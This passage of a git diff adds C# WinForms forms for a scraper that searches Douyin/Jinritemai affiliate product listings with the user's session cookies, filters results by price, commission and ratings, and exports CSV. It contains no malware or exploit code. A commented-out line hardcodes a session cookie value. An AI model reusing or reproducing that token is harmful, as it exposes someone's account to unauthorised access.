System.Windows.Forms.DataGridViewTextBoxColumn colProductId; + private System.Windows.Forms.DataGridViewLinkColumn colProductName; + private System.Windows.Forms.DataGridViewTextBoxColumn colPrice; + private System.Windows.Forms.DataGridViewTextBoxColumn colSaleCount; + private System.Windows.Forms.DataGridViewTextBoxColumn colYongJin; + private System.Windows.Forms.DataGridViewTextBoxColumn colYongJinLv; + private System.Windows.Forms.DataGridViewTextBoxColumn colCommentCount; + private System.Windows.Forms.DataGridViewTextBoxColumn colCommentRate; + private System.Windows.Forms.DataGridViewTextBoxColumn colScore; + private System.Windows.Forms.DataGridViewTextBoxColumn colShopNmae; + private System.Windows.Forms.DataGridViewLinkColumn colDelete; + private System.Windows.Forms.SplitContainer splitContainer2; + private UserControls.StatusBarUserControl statusBar; + } +} \ No newline at end of file diff --git a/TEMUKJD/KJDForms/CollectForms/KeywordCollectForm.cs b/TEMUKJD/KJDForms/CollectForms/KeywordCollectForm.cs new file mode 100644 index 0000000..0919e96 --- /dev/null +++ b/TEMUKJD/KJDForms/CollectForms/KeywordCollectForm.cs @@ -0,0 +1,327 @@ +using AllBase; +using AllBase.Helper; +using AllBase.Model.Result; +using LittleRabbit.LittleRabbitForms.ToolForms; +using NaiBa.Util.Extension; +using Newtonsoft.Json.Linq; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.IO; +using System.Linq; +using System.Net; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace LittleRabbit.LittleRabbitForms.CollectForms +{ + public partial class KeywordCollectForm : Form + { + List lstProduct = new List(); + CancellationTokenSource cancellationTokenSource = null; + decimal priceMin = 0; + decimal priceMax = 99999999; + long salesMin = 0; + long salesMax = 99999999; + decimal yongjinMin = 0; + decimal yongjinMax = 99999999; + decimal scoreMin = 0; + decimal scoreMax = 5; + long commentCountMin = 0; + long commentCountMax = 99999999; + decimal commentRateMin = 0; + decimal commentRateMax = 100; + + public KeywordCollectForm() + { + InitializeComponent(); + + } + + + private string Collect(string cookies, string collectKeyword, string pageNum = "1", string sortText = "", string sortId = "0") + { + HttpWebResponse response = null; + string result; + try + { + string url = "https://lianmengapi.snssdk.com/selection_api/search/pmt?app_name=aweme&channel=App%20Store" + + "&slide_guide_has_shown=1&minor_status=0&cursor=" + (pageNum.ParseToInt() * 20 - 20) + "&count=20" + + "&search_text=" + AllBase.HttpUtility.UrlEncode(collectKeyword, Encoding.UTF8) + "&request_tag_from=m" + + "&aid=1128&order_by=" + sortText + "&sort=" + sortId; + url = "https://buyin.jinritemai.com/pc/selection/search/pmt?page=" + pageNum + + "&page_size=20&search_text=" + HttpUtility.UrlEncode(collectKeyword, Encoding.UTF8) + + "&order_by=" + sortText + "&sort=" + sortId; + + HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url); + + request.ContentType = "application/x-www-form-urlencoded"; + //request.Headers.Set(HttpRequestHeader.Cookie, @"sid_tt=e21290832ad2b7efaeceb9cdc6c20935"); + request.Headers.Set(HttpRequestHeader.Cookie, cookies); + + response = (HttpWebResponse)request.GetResponse(); + } + catch (WebException ex) + { + if (ex.Status == WebExceptionStatus.ProtocolError) + { + response = (HttpWebResponse)ex.Response; + result = GetProxyHtml.ReadResponse(response); + if (response != null) response.Close(); + return result; + } + else return ex.Message; + } + catch (Exception e) + { + if (response != null) response.Close(); + return e.Message; + } + result = GetProxyHtml.ReadResponse(response); + if (response != null) response.Close(); + return result; + } + + private void btnCollect_Click(object sender, EventArgs e) + { + if (this.btnCollect.Text == "停止采集") + { + cancellationTokenSource.Cancel(); + return; + } + + var cookieShop = GlobalConfig.DouShopLoginList.FirstOrDefault(s => s.LoginStatus == "登录成功"); + if (cookieShop == null) + { + BaseForms.BaseMsgForm.ShowError("请登录店铺账号后搜索"); + return; + } + + priceMin = this.txtPriceMin.Text.ParseToDecimal(); + priceMax = this.txtPriceMax.Text.ParseToDecimal(); + salesMin = this.txtSellCountMin.Text.ParseToLong(); + salesMax = this.txtSellCountMax.Text.ParseToLong(); + yongjinMin = this.txtYongJinMin.Text.ParseToDecimal(); + yongjinMax = this.txtYongJinMax.Text.ParseToDecimal(); + scoreMin = this.txtScoreMin.Text.ParseToDecimal(); + scoreMax = this.txtScoreMax.Text.ParseToDecimal(); + commentCountMin = this.txtCommentCountMin.Text.ParseToLong(); + commentCountMax = this.txtCommentCountMax.Text.ParseToLong(); + commentRateMin = this.txtCommentRateMin.Text.ParseToDecimal(); + commentRateMax = this.txtCommentRateMax.Text.ParseToDecimal(); + var totalPage = this.txtTotalPage.Text.ParseToInt(); + + var keywords = this.txtKeyWords.Text.Split(new string[] { "\r", "\n", " ", "," }, StringSplitOptions.RemoveEmptyEntries); + string sortText = ""; + string sort = "0"; + if (this.cmbCategory.SelectedItem.ToString() == "佣金排序") + { + sortText = "cos_ratio"; + sort = "2"; + } + else if (this.cmbCategory.SelectedItem.ToString() == "销量排序") + { + sortText = "sales"; + sort = "2"; + } + else if (this.cmbCategory.SelectedItem.ToString() == "价格降序") + { + sortText = "price"; + sort = "2"; + } + else if (this.cmbCategory.SelectedItem.ToString() == "价格升序") + { + sortText = "price"; + sort = "1"; + } + lstProduct.Clear(); + this.dgvCollect.Rows.Clear(); + cancellationTokenSource = new CancellationTokenSource(); + btnCollect.Text = "停止采集"; + + int n = 0; + int total = totalPage * keywords.Count(); + this.statusBar.lblTaskStatus.Text = "开始采集..."; + this.statusBar.pgbTaskProgress.Value = n; + this.statusBar.pgbTaskProgress.Text = n + "/" + total; + this.statusBar.pgbTaskProgress.Maximum = total; + + Task.Run(() => + { + var exportFileName = "采集导出\\爆款关键词采集" + DateTime.Now.ToString("yyyyMMddHHmmss") + ".csv"; try + { + if (!Directory.Exists("采集导出")) + Directory.CreateDirectory("采集导出"); + StringBuilder sb = new StringBuilder(); + sb.AppendLine("关键词,商品ID,商品标题,价格,销量,佣金,佣金率,评论数,好评率,体验分数,店铺名称"); + File.AppendAllText(exportFileName, sb.ToString(), Encoding.Default); + } + catch (Exception ex) + { + }; + + foreach (var keyword in keywords) + { + for (int i = 0; i < totalPage; i++) + { + if (cancellationTokenSource.IsCancellationRequested) + break; + + n++; + int page = i + 1; + Invoke(new Action(() => + { + this.statusBar.lblTaskStatus.Text = "正在采集关键词:\"" + keyword + "\",当前采集到第 " + page + " 页"; + this.statusBar.pgbTaskProgress.Value = n; + this.statusBar.pgbTaskProgress.Text = n + "/" + total; + this.statusBar.pgbTaskProgress.Maximum = total; + })); + + var listCollectResult = Collect(GlobalConfig.DouBuyinCookies, keyword, page.ToString(), sortText, sort); + if (listCollectResult.Contains("用户未登录") || listCollectResult.Contains("当前网络不稳定") || listCollectResult.Contains("操作异常")) + { + Invoke(new Action(() => + { + DouUserLoginForm douLoginForm = new DouUserLoginForm("https://buyin.jinritemai.com/mpa/account/login?log_out=1&type=24"); + //DouUserLoginForm douLoginForm = new DouUserLoginForm("https://buyin.jinritemai.com/dashboard/servicehall/daren-square"); + douLoginForm.ShowDialog(); + })); + cancellationTokenSource.Cancel(); + break; + } + + Thread.Sleep(Randomx.GetId(1000, 3000)); + + if (listCollectResult.Contains("\"code\":0")) + { + + // todo + + JObject jObj = JObject.Parse(listCollectResult); + if (jObj["data"] != null && jObj["data"]["promotions"] != null) + { + foreach (JObject obj in jObj["data"]["promotions"]) + { + DouGoodsCollectInfo goodsInfo = new DouGoodsCollectInfo(); + string goodStr = JsonHelper.SerializeObject(obj); + goodsInfo.Keyword = keyword; + goodsInfo.GoodsName = BaseRegex.GetStringJson(ref goodStr, "title"); + goodsInfo.Id = BaseRegex.GetStringJson(ref goodStr, "product_id"); + goodsInfo.Price = (BaseRegex.GetDecimalJson(ref goodStr, "price") / 100).ToString(); + goodsInfo.yj = (BaseRegex.GetDecimalJson(ref goodStr, "cos_fee") / 100).ToString(); + goodsInfo.yjl = (BaseRegex.GetDecimalJson(ref goodStr, "cos_ratio") / 100).ToString(); + goodsInfo.Sales = BaseRegex.GetStringJson(ref goodStr, "month_sales"); // 月销量 + goodsInfo.ShopId = BaseRegex.GetStringJson(ref goodStr, "shop_id"); + goodsInfo.ShopName = BaseRegex.GetStringJson(ref goodStr, "shop_name"); + goodsInfo.Score = BaseRegex.GetDecimalJson(ref goodStr, "exp_score").ParseToDouble(); + + if (goodsInfo.Price.ParseToDecimal() < priceMin || goodsInfo.Price.ParseToDecimal() > priceMax) + continue; + if (goodsInfo.yj.ParseToDecimal() < yongjinMin || goodsInfo.yj.ParseToDecimal() > yongjinMax) + continue; + if (goodsInfo.Sales.ParseToDecimal() < salesMin || goodsInfo.Sales.ParseToDecimal() > salesMax) + continue; + if (goodsInfo.Score.ParseToDecimal() < scoreMin || goodsInfo.Score.ParseToDecimal() > scoreMax) + continue; + + var commentResult = CaiNiXiHuanCollectForm.GetComments(GlobalConfig.DouBuyinCookies, goodsInfo.Id); + + Thread.Sleep(Randomx.GetId(400, 600)); + if (!string.IsNullOrEmpty(commentResult) && commentResult.Contains("\"status_code\":0")) + { + goodsInfo.CommentsCount = BaseRegex.GetIntJson(ref commentResult, "total_comments_num"); + goodsInfo.CommentsRate = BaseRegex.GetDecimalJson(ref commentResult, "good_comment_ratio").ParseToDouble() / 100; + } + + // 筛选条件 + if (goodsInfo.CommentsRate < this.commentRateMin.ParseToDouble() || goodsInfo.CommentsRate > this.commentRateMax.ParseToDouble() + || goodsInfo.CommentsCount < this.commentCountMin || goodsInfo.CommentsCount > this.commentCountMax) + continue; + + Invoke(new Action(() => + { + this.dgvCollect.Rows.Add(false, keyword, goodsInfo.Id, goodsInfo.GoodsName, goodsInfo.Price, goodsInfo.Sales, goodsInfo.yj, goodsInfo.yjl, + goodsInfo.CommentsCount, goodsInfo.CommentsRate, goodsInfo.Score, goodsInfo.ShopName); + + })); + try + { + lstProduct.Add(goodsInfo); + + StringBuilder sb = new StringBuilder(); + sb.AppendLine(goodsInfo.Keyword + ",https://haohuo.jinritemai.com/views/product/item2?id=" + goodsInfo.Id + "," + goodsInfo.GoodsName + "," + + goodsInfo.Price + "," + goodsInfo.Sales + "," + goodsInfo.yj + "," + goodsInfo.yjl + "," + goodsInfo.CommentsCount + "," + + goodsInfo.CommentsRate + "," + goodsInfo.Score + "," + goodsInfo.ShopName); + System.IO.File.WriteAllText(exportFileName, sb.ToString(), Encoding.Default); + } + catch (Exception ex) { } + } + } + } + } + } + Invoke(new Action(() => + { + btnCollect.Text = "开始采集"; + + this.statusBar.lblTaskStatus.Text = "采集结束,共采集到商品" + this.lstProduct.Count + "个"; + this.statusBar.pgbTaskProgress.Value = n; + this.statusBar.pgbTaskProgress.Text = n + "/" + total; + this.statusBar.pgbTaskProgress.Maximum = total; + })); + }, cancellationTokenSource.Token); + } + + private void btnExport_Click(object sender, EventArgs e) + { + try + { + SaveFileDialog saveFileDialog1 = new SaveFileDialog(); + saveFileDialog1.Filter = "表格文件(*.csv)|*.csv"; + saveFileDialog1.FileName = "爆款关键词采集" + DateTime.Now.ToString("yyyyMMddHHmmss") + ".csv"; + saveFileDialog1.FilterIndex = 2; + saveFileDialog1.RestoreDirectory = true; + if (saveFileDialog1.ShowDialog() == DialogResult.OK) + { + StringBuilder sb = new StringBuilder(); + sb.AppendLine("关键词,商品ID,商品标题,价格,销量,佣金,佣金率,评论数,好评率,体验分数,店铺名称"); + foreach (var goodsInfo in lstProduct) + { + sb.AppendLine(goodsInfo.Keyword + ",https://haohuo.jinritemai.com/views/product/item2?id=" + goodsInfo.Id + "," + goodsInfo.GoodsName + "," + + goodsInfo.Price + "," + goodsInfo.Sales + "," + goodsInfo.yj + "," + goodsInfo.yjl + "," + goodsInfo.CommentsCount + "," + + goodsInfo.CommentsRate + "," + goodsInfo.Score + "," + goodsInfo.ShopName); + } + System.IO.File.WriteAllText(saveFileDialog1.FileName, sb.ToString(), Encoding.Default); + BaseForms.BaseMsgForm.ShowInfo("导出成功"); + } + } + catch (Exception ex) + { + BaseForms.BaseMsgForm.ShowError(ex.Message); + } + } + + private void KeywordCollectForm_Load(object sender, EventArgs e) + { + this.cmbCategory.SelectedIndex = 0; + } + + private void dgvCollect_CellContentClick(object sender, DataGridViewCellEventArgs e) + { + if (e.RowIndex < 0 || e.ColumnIndex < 0) + return; + + var goodsId = dgvCollect.Rows[e.RowIndex].Cells["colProductId"].Value.ToString(); + var columnName = dgvCollect.Columns[e.ColumnIndex].Name; + if (columnName == "colProductName") + { + string url = "https://haohuo.jinritemai.com/views/product/item2?id=" + goodsId; + GetHtml.OpenUrl(url); + } + } + } +} diff --git a/TEMUKJD/KJDForms/CollectForms/KeywordCollectForm.resx b/TEMUKJD/KJDForms/CollectForms/KeywordCollectForm.resx new file mode 100644 index 0000000..a31858b --- /dev/null +++ b/TEMUKJD/KJDForms/CollectForms/KeywordCollectForm.resx @@ -0,0 +1,159 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/CollectForms/ShopProductCollectForm.Designer.cs b/TEMUKJD/KJDForms/CollectForms/ShopProductCollectForm.Designer.cs new file mode 100644 index 0000000..f9b1f29 --- /dev/null +++ b/TEMUKJD/KJDForms/CollectForms/ShopProductCollectForm.Designer.cs @@ -0,0 +1,506 @@ +namespace LittleRabbit.LittleRabbitForms.CollectForms +{ + partial class ShopProductCollectForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle1 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle(); + this.splitContainer1 = new System.Windows.Forms.SplitContainer(); + this.btnExport = new LittleRabbit.UserControls.ButtonEx(); + this.ucGroupBoxEx1 = new LittleRabbit.UserComponent.UcGroupBoxEx(this.components); + this.txtKeyWords = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.btnLoginDouyin = new LittleRabbit.UserControls.ButtonEx(); + this.btnCollect = new LittleRabbit.UserControls.ButtonEx(); + this.ucGroupBoxEx2 = new LittleRabbit.UserComponent.UcGroupBoxEx(this.components); + this.txtFilter = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.label10 = new System.Windows.Forms.Label(); + this.txtTotalPage = new System.Windows.Forms.TextBox(); + this.label12 = new System.Windows.Forms.Label(); + this.txtSellCountMax = new System.Windows.Forms.TextBox(); + this.txtPriceMax = new System.Windows.Forms.TextBox(); + this.label13 = new System.Windows.Forms.Label(); + this.txtPriceMin = new System.Windows.Forms.TextBox(); + this.label14 = new System.Windows.Forms.Label(); + this.label15 = new System.Windows.Forms.Label(); + this.txtSellCountMin = new System.Windows.Forms.TextBox(); + this.label16 = new System.Windows.Forms.Label(); + this.splitContainer2 = new System.Windows.Forms.SplitContainer(); + this.dgvCollect = new LittleRabbit.UserComponent.DataGridViewEx(); + this.colSelect = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.colProductId = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colProductName = new System.Windows.Forms.DataGridViewLinkColumn(); + this.colImage = new System.Windows.Forms.DataGridViewImageColumn(); + this.colShopNmae = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colSaleCount = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colPrice = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colDelete = new System.Windows.Forms.DataGridViewLinkColumn(); + this.statusBar = new LittleRabbit.UserControls.StatusBarUserControl(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).BeginInit(); + this.splitContainer1.Panel1.SuspendLayout(); + this.splitContainer1.Panel2.SuspendLayout(); + this.splitContainer1.SuspendLayout(); + this.ucGroupBoxEx1.SuspendLayout(); + this.ucGroupBoxEx2.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).BeginInit(); + this.splitContainer2.Panel1.SuspendLayout(); + this.splitContainer2.Panel2.SuspendLayout(); + this.splitContainer2.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.dgvCollect)).BeginInit(); + this.SuspendLayout(); + // + // splitContainer1 + // + this.splitContainer1.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer1.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.splitContainer1.Location = new System.Drawing.Point(0, 0); + this.splitContainer1.Name = "splitContainer1"; + this.splitContainer1.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer1.Panel1 + // + this.splitContainer1.Panel1.Controls.Add(this.btnExport); + this.splitContainer1.Panel1.Controls.Add(this.ucGroupBoxEx1); + this.splitContainer1.Panel1.Controls.Add(this.btnLoginDouyin); + this.splitContainer1.Panel1.Controls.Add(this.btnCollect); + this.splitContainer1.Panel1.Controls.Add(this.ucGroupBoxEx2); + // + // splitContainer1.Panel2 + // + this.splitContainer1.Panel2.Controls.Add(this.splitContainer2); + this.splitContainer1.Size = new System.Drawing.Size(800, 450); + this.splitContainer1.SplitterDistance = 121; + this.splitContainer1.TabIndex = 378; + // + // btnExport + // + this.btnExport.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnExport.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnExport.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnExport.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnExport.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnExport.ForeColor = System.Drawing.Color.White; + this.btnExport.Location = new System.Drawing.Point(720, 84); + this.btnExport.Margin = new System.Windows.Forms.Padding(2); + this.btnExport.Name = "btnExport"; + this.btnExport.Size = new System.Drawing.Size(66, 26); + this.btnExport.TabIndex = 394; + this.btnExport.Text = "导出数据"; + this.btnExport.UseVisualStyleBackColor = false; + this.btnExport.Click += new System.EventHandler(this.btnExport_Click); + // + // ucGroupBoxEx1 + // + this.ucGroupBoxEx1.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.ucGroupBoxEx1.BorderStyle = LittleRabbit.UserComponent.UcGroupBoxEx.GroupBoxBorderStyle.ROUND; + this.ucGroupBoxEx1.Controls.Add(this.txtKeyWords); + this.ucGroupBoxEx1.Location = new System.Drawing.Point(3, 2); + this.ucGroupBoxEx1.Name = "ucGroupBoxEx1"; + this.ucGroupBoxEx1.Size = new System.Drawing.Size(277, 120); + this.ucGroupBoxEx1.TabIndex = 393; + this.ucGroupBoxEx1.TabStop = false; + this.ucGroupBoxEx1.Text = "采集店铺"; + // + // txtKeyWords + // + this.txtKeyWords.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + // + // + // + this.txtKeyWords.Border.Class = "TextBoxBorder"; + this.txtKeyWords.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.txtKeyWords.Location = new System.Drawing.Point(10, 21); + this.txtKeyWords.Multiline = true; + this.txtKeyWords.Name = "txtKeyWords"; + this.txtKeyWords.PreventEnterBeep = true; + this.txtKeyWords.Size = new System.Drawing.Size(257, 88); + this.txtKeyWords.TabIndex = 7; + this.txtKeyWords.WatermarkText = "请输入要搜索的店铺id或链接\r\n一行一个"; + // + // btnLoginDouyin + // + this.btnLoginDouyin.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnLoginDouyin.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnLoginDouyin.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnLoginDouyin.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnLoginDouyin.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnLoginDouyin.ForeColor = System.Drawing.Color.White; + this.btnLoginDouyin.Location = new System.Drawing.Point(720, 20); + this.btnLoginDouyin.Margin = new System.Windows.Forms.Padding(2); + this.btnLoginDouyin.Name = "btnLoginDouyin"; + this.btnLoginDouyin.Size = new System.Drawing.Size(66, 26); + this.btnLoginDouyin.TabIndex = 373; + this.btnLoginDouyin.Text = "登录抖音"; + this.btnLoginDouyin.UseVisualStyleBackColor = false; + this.btnLoginDouyin.Click += new System.EventHandler(this.btnLoginDouyin_Click); + // + // btnCollect + // + this.btnCollect.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnCollect.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnCollect.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnCollect.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnCollect.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnCollect.ForeColor = System.Drawing.Color.White; + this.btnCollect.Location = new System.Drawing.Point(720, 52); + this.btnCollect.Margin = new System.Windows.Forms.Padding(2); + this.btnCollect.Name = "btnCollect"; + this.btnCollect.Size = new System.Drawing.Size(66, 26); + this.btnCollect.TabIndex = 374; + this.btnCollect.Text = "开始采集"; + this.btnCollect.UseVisualStyleBackColor = false; + this.btnCollect.Click += new System.EventHandler(this.btnCollect_Click); + // + // ucGroupBoxEx2 + // + this.ucGroupBoxEx2.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.ucGroupBoxEx2.BorderStyle = LittleRabbit.UserComponent.UcGroupBoxEx.GroupBoxBorderStyle.ROUND; + this.ucGroupBoxEx2.Controls.Add(this.txtFilter); + this.ucGroupBoxEx2.Controls.Add(this.label10); + this.ucGroupBoxEx2.Controls.Add(this.txtTotalPage); + this.ucGroupBoxEx2.Controls.Add(this.label12); + this.ucGroupBoxEx2.Controls.Add(this.txtSellCountMax); + this.ucGroupBoxEx2.Controls.Add(this.txtPriceMax); + this.ucGroupBoxEx2.Controls.Add(this.label13); + this.ucGroupBoxEx2.Controls.Add(this.txtPriceMin); + this.ucGroupBoxEx2.Controls.Add(this.label14); + this.ucGroupBoxEx2.Controls.Add(this.label15); + this.ucGroupBoxEx2.Controls.Add(this.txtSellCountMin); + this.ucGroupBoxEx2.Controls.Add(this.label16); + this.ucGroupBoxEx2.Location = new System.Drawing.Point(281, 2); + this.ucGroupBoxEx2.Name = "ucGroupBoxEx2"; + this.ucGroupBoxEx2.Size = new System.Drawing.Size(409, 120); + this.ucGroupBoxEx2.TabIndex = 395; + this.ucGroupBoxEx2.TabStop = false; + this.ucGroupBoxEx2.Text = "采集参数"; + // + // txtFilter + // + // + // + // + this.txtFilter.Border.Class = "TextBoxBorder"; + this.txtFilter.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.txtFilter.Location = new System.Drawing.Point(16, 47); + this.txtFilter.Multiline = true; + this.txtFilter.Name = "txtFilter"; + this.txtFilter.PreventEnterBeep = true; + this.txtFilter.Size = new System.Drawing.Size(176, 62); + this.txtFilter.TabIndex = 392; + this.txtFilter.WatermarkText = "请输入关键字,输入多个请用逗号隔开"; + // + // label10 + // + this.label10.AutoSize = true; + this.label10.Location = new System.Drawing.Point(210, 90); + this.label10.Name = "label10"; + this.label10.Size = new System.Drawing.Size(56, 17); + this.label10.TabIndex = 389; + this.label10.Text = "采集页数"; + // + // txtTotalPage + // + this.txtTotalPage.Location = new System.Drawing.Point(267, 86); + this.txtTotalPage.Name = "txtTotalPage"; + this.txtTotalPage.Size = new System.Drawing.Size(123, 23); + this.txtTotalPage.TabIndex = 388; + this.txtTotalPage.Text = "5"; + // + // label12 + // + this.label12.AutoSize = true; + this.label12.Location = new System.Drawing.Point(13, 26); + this.label12.Name = "label12"; + this.label12.Size = new System.Drawing.Size(104, 17); + this.label12.TabIndex = 378; + this.label12.Text = "包含以下关键字:"; + // + // txtSellCountMax + // + this.txtSellCountMax.Location = new System.Drawing.Point(335, 54); + this.txtSellCountMax.Name = "txtSellCountMax"; + this.txtSellCountMax.Size = new System.Drawing.Size(55, 23); + this.txtSellCountMax.TabIndex = 387; + this.txtSellCountMax.Text = "99999999"; + // + // txtPriceMax + // + this.txtPriceMax.Location = new System.Drawing.Point(335, 22); + this.txtPriceMax.Name = "txtPriceMax"; + this.txtPriceMax.Size = new System.Drawing.Size(55, 23); + this.txtPriceMax.TabIndex = 383; + this.txtPriceMax.Text = "99999999"; + // + // label13 + // + this.label13.AutoSize = true; + this.label13.Location = new System.Drawing.Point(323, 57); + this.label13.Name = "label13"; + this.label13.Size = new System.Drawing.Size(13, 17); + this.label13.TabIndex = 386; + this.label13.Text = "-"; + // + // txtPriceMin + // + this.txtPriceMin.Location = new System.Drawing.Point(267, 22); + this.txtPriceMin.Name = "txtPriceMin"; + this.txtPriceMin.Size = new System.Drawing.Size(55, 23); + this.txtPriceMin.TabIndex = 379; + this.txtPriceMin.Text = "0"; + // + // label14 + // + this.label14.AutoSize = true; + this.label14.Location = new System.Drawing.Point(210, 58); + this.label14.Name = "label14"; + this.label14.Size = new System.Drawing.Size(56, 17); + this.label14.TabIndex = 385; + this.label14.Text = "宝贝销量"; + // + // label15 + // + this.label15.AutoSize = true; + this.label15.Location = new System.Drawing.Point(210, 26); + this.label15.Name = "label15"; + this.label15.Size = new System.Drawing.Size(56, 17); + this.label15.TabIndex = 380; + this.label15.Text = "宝贝价格"; + // + // txtSellCountMin + // + this.txtSellCountMin.Location = new System.Drawing.Point(267, 54); + this.txtSellCountMin.Name = "txtSellCountMin"; + this.txtSellCountMin.Size = new System.Drawing.Size(55, 23); + this.txtSellCountMin.TabIndex = 384; + this.txtSellCountMin.Text = "0"; + // + // label16 + // + this.label16.AutoSize = true; + this.label16.Location = new System.Drawing.Point(323, 25); + this.label16.Name = "label16"; + this.label16.Size = new System.Drawing.Size(13, 17); + this.label16.TabIndex = 382; + this.label16.Text = "-"; + // + // splitContainer2 + // + this.splitContainer2.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer2.FixedPanel = System.Windows.Forms.FixedPanel.Panel2; + this.splitContainer2.Location = new System.Drawing.Point(0, 0); + this.splitContainer2.Name = "splitContainer2"; + this.splitContainer2.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer2.Panel1 + // + this.splitContainer2.Panel1.Controls.Add(this.dgvCollect); + this.splitContainer2.Panel1.Padding = new System.Windows.Forms.Padding(5, 0, 5, 0); + // + // splitContainer2.Panel2 + // + this.splitContainer2.Panel2.Controls.Add(this.statusBar); + this.splitContainer2.Size = new System.Drawing.Size(800, 325); + this.splitContainer2.SplitterDistance = 299; + this.splitContainer2.SplitterWidth = 1; + this.splitContainer2.TabIndex = 7; + // + // dgvCollect + // + this.dgvCollect.AllowUserToAddRows = false; + this.dgvCollect.AllowUserToDeleteRows = false; + dataGridViewCellStyle1.BackColor = System.Drawing.Color.WhiteSmoke; + this.dgvCollect.AlternatingRowsDefaultCellStyle = dataGridViewCellStyle1; + this.dgvCollect.BackgroundColor = System.Drawing.Color.White; + this.dgvCollect.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle2.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle2.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + dataGridViewCellStyle2.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle2.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle2.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.dgvCollect.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle2; + this.dgvCollect.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.dgvCollect.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.colSelect, + this.colProductId, + this.colProductName, + 